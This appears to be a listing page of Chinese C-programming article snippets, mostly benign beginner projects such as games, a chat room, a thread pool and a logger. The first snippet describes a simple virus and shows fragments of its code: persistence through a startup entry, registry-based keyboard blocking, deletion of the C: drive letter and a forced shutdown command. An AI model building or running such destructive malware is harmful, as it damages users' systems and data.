首页
学习
活动
专区
工具
TVP
发布

C语言编写简易病毒

本次实验设计是一个基于C语言恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...程序继续之心那个,弹窗显示C盘盘符破坏成功。如图3.4所示。系统盘盘符被删除之后桌面上一切快捷方式失效,开始菜单中全部变为无效快捷方式,点开计算机窗口没有反应,执行效果如图3.5所示。..." "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\...RegModifyBackroud(); //修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:...//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""")

3.9K20
您找到你想要的搜索结果了吗?
是的
没有找到

C语言实现简易聊天室

C语言聊天室 基于 tcp 实现群聊功能,本项目设计是在「windows环境下基于套接字(Socket)和多线程编程」进行开发简易聊天室」,实现了群聊功能,在VC6.0和VS2019运行测试无误。...通信流程 了解完了一个 socket 基本步骤后我们了解一下多线程以及线程同步。 多线程 线程是进程一条执行路径,它包含独立堆栈和CPU寄存器状态,每个线程共享所有的进程资源。...线程同步 每个线程都可以访问进程中公共变量,资源,所以「使用多线程过程中需要注意问题是如何防止两个或两个以上线程同时访问同一个数据,以免破坏数据完整性」。...,这种关系称之为线程间对资源互斥访问,某种意义上说互斥是一种制约关系更小同步 windows线程间同步方式有四种:「临界区、互斥量、信号量、事件。」...「源代码后台发送关键字windows聊天室获取」 socket网络编程方法可参考上期 C语言实现web服务器 多线程以及线程同步可通过「阅读全文」在我个人网站里面查阅。

3.3K10

C语言编写简易图书管理系统

2022.1.11更新:这篇帖子是我2019年寒假写,而且当时没写注释而且变量命名也不规范所以我一下子也不知道自己当时写是什么东西(注释和良好代码风格很重要),代码也有些bug(当时没有仔细测试)...,但是这个程序是可以运行,应付一般期末课设应该没问题(有的朋友私信我说运行不了,可能是环境问题,我当时用是vs2017,其他环境不能运行的话针对错误提示自行百度一下吧~) ——————————...goto label_1; } } } /*********输入*********/ void Input() { int n,i,m; N=0; system("cls"); printf("可输入书本数...if (k == 1) goto label_1; } } } /*************结束模块***************/ void Finish() { exit(0); } 参考资料:c语言程序设计报告...如发现本站有涉嫌侵权/违法违规内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

2.6K20

利用c语言制作简易计算器

学了c语言之后,总想着能用c语言能制作一些简单小工具来。而利用c语言来制作一款简易计算器是一个不错选择,用这款计算器可以计算加、减、乘、除。...首先,打出c语言开始那几行代码: 要进行两个间数字计算首先要输入第一个数字,运算符还有第二个数字: 接着,需要对运算符进行判断,这里利用if和else if进行判断,运算结果保留两位小数:...小编给大家推荐一个学习氛围超好地方,C/C++交流企鹅裙:487875004适合在校大学生,小白,想转行,想通过这个找工作加入。...裙里有大量学习资料,有大神解答交流问题,每晚都有免费直播课程 这样就可以进行简单两位数之间计算了 这样程序只能执行一次,如果想让程序进行多次计算只需要嵌套一层循环即可。

4.6K10

C语言简易贪吃蛇(附完整代码)

贪吃蛇小游戏 刚学完C语言第一个小游戏,代码主要参考: https://blog.csdn.net/qq_37074040/article/details/54766680 我在模仿代码过程中发现了原作者程序中一些...bug,以下f附有我加以改进后代码。...只要我们能让光标到达我们想要地方,我们就能完成游戏界面的绘制,蛋生成。简直就像天上地下,无所不能。 实现:gotoxy()函数 2.游戏体验感 如何将用户输入读入,而不显示在屏幕上?...实现:getch()函数(包含在中) 如何防止用户非法输入?玩游戏过程中难免会摁到其他键,如何让它不影响到我们游戏?如果蛇在往前行走,我们控制方向向后,该怎么处理?...实现:保存蛇前进状态。 3.游戏关键 蛇该如何打印?如何实现蛇行走? 如何完成吃蛋过程? 游戏结束条件是什么?

8.4K20

C语言实现简易手机通讯录,自学C语言小项目!

wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1] 一、通讯录 通讯录可以用来存储1000个人信息,每个人信息包括:姓名、电话。...因为我们目的是修改全局变量中 Person 结构体。而使用结构体变量的话,相当于创建了一个局部变量结构体。此时修改只是针对该局部变量生效,随着函数结束,局部变量就被释放了。...\n"); } 1234567891011121314 八、删除联系人 用户输入联系人编号来进行删除(数组下标),删除下标为 id 元素。 如果 id 对应元素就是最后一个,直接 size--。...\n"); } 123456789101112131415161718 九、修改联系人 用户输入联系人编号来进行修改,更改下标为 id 元素。用户重新输入姓名和电话,输出更新成功。...按名字排序: 十四、完整代码 文末源码:源码地址 更多案例可以go公众号:C语言入门到精通

1.6K2218

扫雷c语言程序设计-C语言实现简易版扫雷小游戏

首先,要自定义一个头文件 mine.h,里面有扫雷程序里面所需要头文件、常量和所有函数声明。...其次,创建主函数 test.c,用自己喜欢方式构建一个游戏框架,最后,创建自定义函数 mine.c,编写各项功能。   设计思路   1、先写主函数,理清整个游戏流程。...也是一样,在这个函数里先写一个大框架,构建需要函数,然后再根据我们需求在 mine.c 里设计所有我们需要自定义函数。...printf("%s", result); printf("-------------------------------\n"); ShowBoard(mine, ROW, COL); }  test.c  ...代码很简单扫雷c语言程序设计,但很经典,希望对你有所帮助。

93120

C语言实现简易三子棋项目

模块化编程 将一个项目中各个模块代码放在不同.c文件里,在.h文件(头文件)里提供外部可调用函数声明,其它.c文件想使用其中代码时,只需要 #include “XXX.h” (注:自定义头文件并不是...在这里,我们游戏逻辑代码还没有编写,所以我们新建一个 game.c文件和 game.h文件 ,game.h用于存放函数声明。...— 别忘记在原本.c文件中进行引用 我们现在原.c文件中设置一个 game()函数 用来展示游戏功能。 并且这个game()函数 需要连接在switch case 1:之后。...int row,int col) 而传递二维数组时,只需要传递地址即可 boardInit(arr,ROW,COL); 到这里,我们棋盘展示部分已经做完了,运行检测 代码如下: test.c #define...由于只有第四种状态是不结束游戏,我们在下棋循环中先对状态4进行判断,如果是状态4,我们返回c。如果Iswin()返回值 != c,那么就说明游戏结束了。如果 == c,下棋循环仍进行。

6010

基于51单片机交通灯控制设计结论_c51单片机交通灯控制

2 应用软件介绍 2.1 C语言介绍 C语言是于1972年由贝尔实验室Dennis Ritchie在B语言基础上开发出来。最初C语言是作为UNIX操作系统开发语言而被人们所认识。...此后,贝尔实验室对C语言进行了多次改进和版本公布,C语言优点才引起人们普遍注意。随着UNIX操作系统在各种机器上广范使用,使C语言得到了迅速推广。1978年由Brian W....Ritchit合著了《The C Programming Language》一书,该书对C语言作了详细描述,这本书对C语言发展影响深远,并成为了后来C语言版本基础,称之为标准C。...随后C语言在各种计算机上快速得以推广,并导致了许多C语言版本出现。...2.2 Keil C51 Keil C51 是美国 Keil Software 公司出品 51 系列兼容单片机 C 语言软件开发系统,与汇编相比,C 语言在功能上、结构性、可读性、可维护性上有明显优势

1.7K20

C语言简易计算器转移表(函数指针简化)

转移表是一种根据输入条件进行分支选择技术。它通常用于根据不同条件执行不同操作。在 C 语言中,我们可以使用 switch 语句来创建转移表,根据表达式值选择不同分支执行。...函数指针数组实现转移表 我们既然希望在每一个分支语句下面用一个函数就能解决所有的分支问题,那么每个分支要使用函数就要作为参数传给主调函数,因为定义函数是有地址,所以我们可以传参地址就可以把函数传给主调函数...将函数指针当做参数传递给另一个函数,当这个指针被用来调用其所指向函数时,被调用函数就是回调函数。...解决上述问题,我们将函数地址传递过去 ,函数只恨指向什么函数就调用什么函数,由此来使用回调函数功能。...然后再在每个分支语句下面参数中传参函数地址,函数和数组一样,函数名就是函数地址,具体代码参考下方源代码。 对函数指针有疑问可以关注博主博客Keven ’ s bolg 中 深入了解函数指针 。

5710

c语言贪吃蛇(简易版本含完整代码)

文章目录 前引 头文件注释部分 头文件部分 主函数部分 实现效果 ---- 前引 ---- 这个贪吃蛇是在我学完C语言基本部分 在跟着哈工大c语言程序设计Mooc课程完了之后做 因为学完C语言很迷茫...自己一步步敲出来 其实还是建议大家在看懂 了代码后自己实现 因为不要怕自己忘不忘 这又不是理论知识 敲出来代码就是自己 一步步提升 加油qwq 另外 此代码保证可以运行 在这篇博客发布后一年...void SetSnakePos() { //其实这里x , y我在后面加备注时候我觉得会错意了 //这里x 我想表示是他行数 //这里y 我想表示是他列数 就是第几列...赋值 删除 赋值 删除过程 //删除掉原来蛇 然后再把现在蛇表示出来 不然的话 //原来蛇和现在蛇就一直重复 导致原来蛇一直在屏幕上 void DeleteSnake() {...//这里是控制蛇方向 //具体为什么用这个函数 大家可以自急查询一下 //这个Asyn意思就是 异步意思 表示你在操作时候同时读入你键盘值 //如果是同步的话 大家可以想象一下 需要你敲下回车

58730

C++ 线程池简易实现

首先,先简单介绍,线程池工作原理。...1.他自身拥有一定数量线程数组 threads,处于等待状态,等待唤醒(通过条件变量) 2.拥有一个任务队列 m_tasks,存储用户任务,有新任务以后,唤醒线程,取出任务,通过回调函数方式调用任务...使用情况:线程池,适用于会话简短情况下,http访问可以使用线程池,如需要长时间保持通讯,如会话,就不要用线程池了。 本例子,采用单例模式,线程安全。...公开接口两个: static CMyThreadPool * getInstance(); bool start(Task fun); 用户函数 fun 参数,可通过,bind来传递,不过要注意...,如果传是指针,需要注意他生存周期,如果传是 new,处理完以后,要自己 delete. void showTicket(mutex* m){ lock_guard<std

3.6K21

C语言简易版三子棋游戏实现(超详细版)

今天让我们来学习一下C语言实现简易版三子棋游戏。 一、三子棋游戏介绍 《三子棋》是一款古老民间传统游戏,又被称为黑白棋、圈圈叉叉棋、井字棋、一条龙、九宫棋等。...二、游戏大致实现过程 想用C语言来实现三子棋游戏,首先我们要创建三个文件,一个头文件:game.h 两个源文件:game.c test.c 这里我们给大家介绍一下在三子棋这个游戏里面,每个文件是做什么呢...(1)头文件game.h,头文件里是用来存放函数声明,#define常量定义,库函数引用 (2)源文件test.c,这个文件里面放是游戏测试逻辑 (3)源文件game.c,这个文件里面放是游戏实现逻辑...(i = 0; i < row; i++) { for ( j = 0; j < col; j++) { //打印数据 printf(" %c ", board[i][j]); /...printf("选择错误,请重新选择\n"); break; } } while (input); //input为非0就继续,为0就结束 return 0; } 总结 以上便是C语言简易版三子棋游戏代码了

6610

嵌入式linux下c语言简易日志log模块,带颜色显示(一)

一个log.c文件和一个log.h文件 使用时包含log.h文件即可。暂时支持四个级别和红绿黄蓝四种颜色,若要增加或扩展,自行更改。...不支持存储日志到文件,以及对日志文件按日期,按大小等切割,如有需要,可自行扩展。...2.按日期生成日志文件,可配置保留多少天,超过设定天数则自动清除超过天数日志。 3.可增加参数设定限制日志文件大小,超过限制大小可选择是从头覆盖还是删除重记,还是不在记录。...log.c文件内容: /** 日志打印示例。...,只在gcc(C语言)生效, // g++c++版本编译不通过 static const char* s_loginfo[] = { [ERROR] = "ERROR", [WARN]

2.4K30
领券